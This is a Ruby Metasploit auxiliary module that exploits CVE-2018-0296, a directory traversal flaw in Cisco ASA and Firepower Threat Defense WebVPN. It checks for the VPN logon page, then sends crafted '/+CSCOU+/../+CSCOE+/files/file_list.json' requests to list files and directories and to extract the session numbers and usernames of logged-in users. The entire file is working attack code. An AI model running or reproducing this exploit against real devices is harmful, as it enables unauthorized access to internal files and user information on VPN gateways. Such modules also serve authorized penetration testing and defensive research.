##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco ASA Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability in Cisco's Adaptive Security Appliance (ASA) software and Firepower Threat Defense (FTD) software.
It lists the contents of Cisco's VPN web service which includes directories, files, and currently logged in users.
},
'Author' => [ 'Michał Bentkowski', # Discovery
'Yassine Aboukir', # PoC
'Shelby Pace' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2018-0296' ],
[ 'EDB', '44956' ]
],
'DisclosureDate' => '2018-06-06'
))
register_options(
[
OptString.new('TARGETURI', [ true, 'Path to Cisco installation', '/' ]),
OptBool.new('SSL', [ true, 'Use SSL', true ]),
Opt::RPORT(443)
])
end
def is_accessible?
uri = normalize_uri(target_uri.path, '+CSCOE+/logon.html')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return (res && (res.body.include?("SSL VPN Service") || res.body.include?("+CSCOE+") || res.body.include?("+webvpn+") || res.body.include?("webvpnlogin")))
end
def list_files(path)
uri = normalize_uri(target_uri.path, path)
list_res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
if list_res && list_res.code == 200
if list_res.body.match(/\/{3}sessions/)
get_sessions(list_res.body)
else
print_good(list_res.body)
end
end
end
def get_sessions(response)
session_nos = response.scan(/([0-9]{2,})/)
if session_nos.empty?
print_status("Could not detect any sessions")
print("\n")
return
end
print_good(response)
list_users(session_nos)
end
def list_users(sessions)
sessions_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'
user_ids = Array.new
sessions.each do |session_no|
users_res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, sessions_uri, session_no)
)
if users_res && users_res.body.include?('name')
user_ids.push(users_res.body.match(/user:(\w+)/).to_s)
end
end
unless user_ids.empty?
print_status('Users logged in:')
user_ids.each { |id| print_good(id) }
print("\n")
return
end
print_status("There are no users logged in currently")
end
def run
file_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'
sessions_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'
cscoe_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'
paths = [file_uri, sessions_uri, cscoe_uri]
unless is_accessible?
fail_with(Failure::NotFound, 'Failed to reach Cisco web logon service')
end
paths.each { |path| list_files(path) }
end
end
